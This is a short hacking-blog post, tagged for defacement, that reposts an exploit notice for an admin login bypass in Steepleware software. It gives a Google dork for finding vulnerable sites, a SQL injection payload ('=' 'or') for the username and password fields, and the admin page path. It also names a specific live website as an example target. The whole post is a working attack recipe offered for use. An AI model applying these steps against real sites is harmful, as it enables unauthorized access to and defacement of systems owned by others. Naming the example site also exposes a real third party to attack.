Steepleware Admin Login bypass

Unknown   June 11, 2017   Deface, Hacking, Tips & Trik, xploit   Comment  

# Exploit Title: Steepleware Admin Login bypass
# Dork : intext:"Product of Steepleware"
# Author: Alireza Nejati
# Vendor : http://www.steepleware.com/
# Tested on: win and kali
============================================
Tutorial :

[+] Dorking in google or other search enggine
[+] Open target
[+] Enter username and password with
[+] Username: '=' 'or'
[+] Password: '=' 'or'
============================================
Admin Address : admin/welcome.php
============================================
Example :
http://www.richmcx.co.in/admin/welcome.php